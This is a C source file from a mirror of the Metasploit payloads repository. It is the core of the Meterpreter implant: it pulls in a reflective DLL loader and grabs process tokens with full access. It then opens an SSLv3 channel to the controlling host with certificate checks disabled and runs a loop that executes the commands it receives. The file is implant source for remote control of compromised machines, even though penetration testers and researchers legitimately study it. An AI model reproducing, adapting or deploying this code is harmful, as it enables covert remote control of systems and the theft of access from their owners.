1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-30 22:19:17 +02:00

517 lines
12 KiB
C

#include "metsrv.h"
#include "../../common/common.h"
#ifdef _WIN32
#include <windows.h> // for EXCEPTION_ACCESS_VIOLATION
#include <excpt.h>
// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor
// include the Reflectiveloader() function
#include "../ReflectiveDLLInjection/ReflectiveLoader.c"
int exceptionfilter(unsigned int code, struct _EXCEPTION_POINTERS *ep)
{
return EXCEPTION_EXECUTE_HANDLER;
}
#define InitAppInstance() do { \
if( hAppInstance == NULL ) \
hAppInstance = GetModuleHandle( NULL ); \
} while (0)
#else
#define InitAppInstance()
#define exceptionfilter(a, b)
#define SetHandleInformation(a, b, c)
#define ExitThread(x) exit((x))
const unsigned int hAppInstance = 0x504b5320; // 'PKS '
#endif
#define PREPEND_ERROR "### Error: "
#define PREPEND_INFO "### Info : "
#define PREPEND_WARN "### Warn : "
/*
* This thread is the main server thread which we use to syncronize a gracefull
* shutdown of the server during process migration.
*/
THREAD * serverThread = NULL;
/*
* An array of locks for use by OpenSSL.
*/
static LOCK ** ssl_locks = NULL;
/*
* A callback function used by OpenSSL to leverage native system locks.
*/
static VOID server_locking_callback( int mode, int type, const char * file, int line )
{
if( mode & CRYPTO_LOCK )
lock_acquire( ssl_locks[type] );
else
lock_release( ssl_locks[type] );
}
/*
* A callback function used by OpenSSL to get the current threads id.
* While not needed on windows this must be used for posix meterpreter.
*/
static DWORD server_threadid_callback( VOID )
{
#ifdef _WIN32
return GetCurrentThreadId();
#else
return pthread_self();
#endif
}
/*
* Callback function for dynamic lock creation for OpenSSL.
*/
static struct CRYPTO_dynlock_value * server_dynamiclock_create( const char * file, int line )
{
return (struct CRYPTO_dynlock_value *)lock_create();
}
/*
* Callback function for dynamic lock locking for OpenSSL.
*/
static void server_dynamiclock_lock( int mode, struct CRYPTO_dynlock_value * l, const char * file, int line )
{
LOCK * lock = (LOCK *)l;
if( mode & CRYPTO_LOCK )
lock_acquire( lock );
else
lock_release( lock );
}
/*
* Callback function for dynamic lock destruction for OpenSSL.
*/
static void server_dynamiclock_destroy( struct CRYPTO_dynlock_value * l, const char * file, int line )
{
lock_destroy( (LOCK *)l );
}
/*
* Flush all pending data on the connected socket before doing SSL.
*/
static VOID server_socket_flush( Remote * remote )
{
fd_set fdread;
DWORD ret;
SOCKET fd;
unsigned char buff[4096];
lock_acquire( remote->lock );
fd = remote_get_fd(remote);
while (1) {
struct timeval tv;
LONG data;
FD_ZERO(&fdread);
FD_SET(fd, &fdread);
// Wait for up to one second for any errant socket data to appear
tv.tv_sec = 1;
tv.tv_usec = 0;
data = select(fd + 1, &fdread, NULL, NULL, &tv);
if(data == 0)
break;
ret = recv(fd, buff, sizeof(buff), 0);
dprintf("[SERVER] Flushed %d bytes from the buffer");
// The socket closed while we waited
if(ret == 0) {
break;
}
continue;
}
lock_release( remote->lock );
}
/*
* Poll a socket for data to recv and block when none available.
*/
static LONG server_socket_poll( Remote * remote, long timeout )
{
struct timeval tv;
LONG result;
fd_set fdread;
SOCKET fd;
lock_acquire( remote->lock );
fd = remote_get_fd( remote );
FD_ZERO( &fdread );
FD_SET( fd, &fdread );
tv.tv_sec = 0;
tv.tv_usec = timeout;
result = select( fd + 1, &fdread, NULL, NULL, &tv );
#ifndef _WIN32
// Handle EAGAIN, etc.
if(result == -1) {
if(errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK) {
result = 0;
}
}
#endif
lock_release( remote->lock );
return result;
}
/*
* Initialize the OpenSSL subsystem for use in a multi threaded enviroment.
*/
static BOOL server_initialize_ssl( Remote * remote )
{
int i = 0;
lock_acquire( remote->lock );
// Begin to bring up the OpenSSL subsystem...
CRYPTO_malloc_init();
SSL_load_error_strings();
SSL_library_init();
// Setup the required OpenSSL multi-threaded enviroment...
ssl_locks = (LOCK**)malloc( CRYPTO_num_locks() * sizeof(LOCK *) );
if( ssl_locks == NULL )
{
lock_release( remote->lock );
return FALSE;
}
for( i=0 ; i<CRYPTO_num_locks() ; i++ )
ssl_locks[i] = lock_create();
CRYPTO_set_id_callback( server_threadid_callback );
CRYPTO_set_locking_callback( server_locking_callback );
CRYPTO_set_dynlock_create_callback( server_dynamiclock_create );
CRYPTO_set_dynlock_lock_callback( server_dynamiclock_lock );
CRYPTO_set_dynlock_destroy_callback( server_dynamiclock_destroy );
lock_release( remote->lock );
return TRUE;
}
/*
* Bring down the OpenSSL subsystem
*/
static BOOL server_destroy_ssl( Remote * remote )
{
int i = 0;
if( remote == NULL )
return FALSE;
dprintf("[SERVER] Destroying SSL");
lock_acquire( remote->lock );
SSL_free( remote->ssl );
SSL_CTX_free( remote->ctx );
CRYPTO_set_locking_callback( NULL );
CRYPTO_set_id_callback( NULL );
CRYPTO_set_dynlock_create_callback( NULL );
CRYPTO_set_dynlock_lock_callback( NULL );
CRYPTO_set_dynlock_destroy_callback( NULL );
for( i=0 ; i<CRYPTO_num_locks() ; i++ )
lock_destroy( ssl_locks[i] );
free( ssl_locks );
lock_release( remote->lock );
return TRUE;
}
/*
* Negotiate SSL on the socket.
*/
static BOOL server_negotiate_ssl(Remote *remote)
{
BOOL success = TRUE;
SOCKET fd = 0;
DWORD ret = 0;
DWORD res = 0;
lock_acquire( remote->lock );
do
{
fd = remote_get_fd(remote);
remote->meth = SSLv3_client_method();
remote->ctx = SSL_CTX_new(remote->meth);
SSL_CTX_set_mode(remote->ctx, SSL_MODE_AUTO_RETRY);
remote->ssl = SSL_new(remote->ctx);
SSL_set_verify(remote->ssl, SSL_VERIFY_NONE, NULL);
if( SSL_set_fd(remote->ssl, remote->fd) == 0 )
{
dprintf("[SERVER] set fd failed");
success = FALSE;
break;
}
do {
if( (ret = SSL_connect(remote->ssl)) != 1 )
{
res = SSL_get_error(remote->ssl, ret);
dprintf("[SERVER] connect failed %d\n", res);
if (res == SSL_ERROR_WANT_READ || res == SSL_ERROR_WANT_WRITE) {
// Catch non-blocking socket errors and retry
continue;
}
success = FALSE;
break;
}
} while(ret != 1);
if (success == FALSE) break;
dprintf("[SERVER] Sending a HTTP GET request to the remote side...");
if( (ret = SSL_write(remote->ssl, "GET /123456789 HTTP/1.0\r\n\r\n", 27)) <= 0 )
{
dprintf("[SERVER] SSL write failed during negotiation with return: %d (%d)", ret, SSL_get_error(remote->ssl, ret));
}
} while(0);
lock_release( remote->lock );
dprintf("[SERVER] Completed writing the HTTP GET request: %d", ret);
if( ret < 0 )
success = FALSE;
return success;
}
/*
* The servers main dispatch loop for incoming requests.
*/
static DWORD server_dispatch( Remote * remote )
{
LONG result = ERROR_SUCCESS;
Packet * packet = NULL;
THREAD * cpt = NULL;
dprintf( "[DISPATCH] entering server_dispatch( 0x%08X )", remote );
// Bring up the scheduler subsystem.
result = scheduler_initialize( remote );
if( result != ERROR_SUCCESS )
return result;
while( TRUE )
{
if( event_poll( serverThread->sigterm, 0 ) )
{
dprintf( "[DISPATCH] server dispatch thread signaled to terminate..." );
break;
}
result = server_socket_poll( remote, 100 );
if( result > 0 )
{
result = packet_receive( remote, &packet );
if( result != ERROR_SUCCESS ) {
dprintf( "[DISPATCH] packet_receive returned %d, exiting dispatcher...", result );
break;
}
cpt = thread_create( command_process_thread, remote, packet );
if( cpt )
{
dprintf( "[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle );
thread_run( cpt );
}
}
else if( result < 0 )
{
dprintf( "[DISPATCH] server_socket_poll returned %d, exiting dispatcher...", result );
break;
}
}
dprintf( "[DISPATCH] calling scheduler_destroy..." );
scheduler_destroy();
dprintf( "[DISPATCH] calling command_join_threads..." );
command_join_threads();
dprintf( "[DISPATCH] leaving server_dispatch." );
return result;
}
/*
* Get the session id that this meterpreter server is running in.
*/
DWORD server_sessionid( VOID )
{
#ifdef _WIN32
typedef BOOL (WINAPI * PROCESSIDTOSESSIONID)( DWORD pid, LPDWORD id );
static PROCESSIDTOSESSIONID pProcessIdToSessionId = NULL;
HMODULE hKernel = NULL;
DWORD dwSessionId = 0;
do
{
if( !pProcessIdToSessionId )
{
hKernel = LoadLibrary( "kernel32.dll" );
if( hKernel )
pProcessIdToSessionId = (PROCESSIDTOSESSIONID)GetProcAddress( hKernel, "ProcessIdToSessionId" );
}
if( !pProcessIdToSessionId )
break;
if( !pProcessIdToSessionId( GetCurrentProcessId(), &dwSessionId ) )
dwSessionId = -1;
} while( 0 );
if( hKernel )
FreeLibrary( hKernel );
return dwSessionId;
#else
return -1;
#endif
}
/*
* Setup and run the server. This is called from Init via the loader.
*/
DWORD server_setup( SOCKET fd )
{
Remote * remote = NULL;
char cStationName[256] = {0};
char cDesktopName[256] = {0};
DWORD res = 0;
dprintf("[SERVER] Initializing...");
#ifdef _UNIX
int local_error = 0;
#endif
// if hAppInstance is still == NULL it means that we havent been
// reflectivly loaded so we must patch in the hAppInstance value
// for use with loading server extensions later.
InitAppInstance();
srand( (unsigned int)time(NULL) );
__try
{
do
{
dprintf( "[SERVER] module loaded at 0x%08X", hAppInstance );
// Open a THREAD item for the servers main thread, we use this to manage migration later.
serverThread = thread_open();
dprintf( "[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread->handle, serverThread->id, serverThread->sigterm );
if( !(remote = remote_allocate(fd)) )
{
SetLastError( ERROR_NOT_ENOUGH_MEMORY );
break;
}
// Do not allow the file descriptor to be inherited by child processes
SetHandleInformation((HANDLE)fd, HANDLE_FLAG_INHERIT, 0);
dprintf("[SERVER] Initializing tokens...");
// Store our thread handle
remote->hServerThread = serverThread->handle;
#ifdef _WIN32
// Store our process token
if (!OpenThreadToken(remote->hServerThread, TOKEN_ALL_ACCESS, TRUE, &remote->hServerToken))
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &remote->hServerToken);
// Copy it to the thread token
remote->hThreadToken = remote->hServerToken;
// Save the initial session/station/desktop names...
remote->dwOrigSessionId = server_sessionid();
remote->dwCurrentSessionId = remote->dwOrigSessionId;
GetUserObjectInformation( GetProcessWindowStation(), UOI_NAME, &cStationName, 256, NULL );
remote->cpOrigStationName = _strdup( cStationName );
remote->cpCurrentStationName = _strdup( cStationName );
GetUserObjectInformation( GetThreadDesktop( GetCurrentThreadId() ), UOI_NAME, &cDesktopName, 256, NULL );
remote->cpOrigDesktopName = _strdup( cDesktopName );
remote->cpCurrentDesktopName = _strdup( cDesktopName );
#endif
dprintf("[SERVER] Flushing the socket handle...");
server_socket_flush( remote );
dprintf("[SERVER] Initializing SSL...");
if( !server_initialize_ssl( remote ) )
break;
dprintf("[SERVER] Negotiating SSL...");
if( !server_negotiate_ssl( remote ) )
break;
dprintf("[SERVER] Registering dispatch routines...");
register_dispatch_routines();
dprintf("[SERVER] Entering the main server dispatch loop...");
server_dispatch( remote );
dprintf("[SERVER] Deregistering dispatch routines...");
deregister_dispatch_routines( remote );
} while (0);
dprintf("[SERVER] Closing down SSL...");
server_destroy_ssl( remote );
if( remote )
remote_deallocate( remote );
}
__except( exceptionfilter(GetExceptionCode(), GetExceptionInformation()) )
{
dprintf("[SERVER] *** exception triggered!");
thread_kill( serverThread );
}
dprintf("[SERVER] Finished.");
return res;
}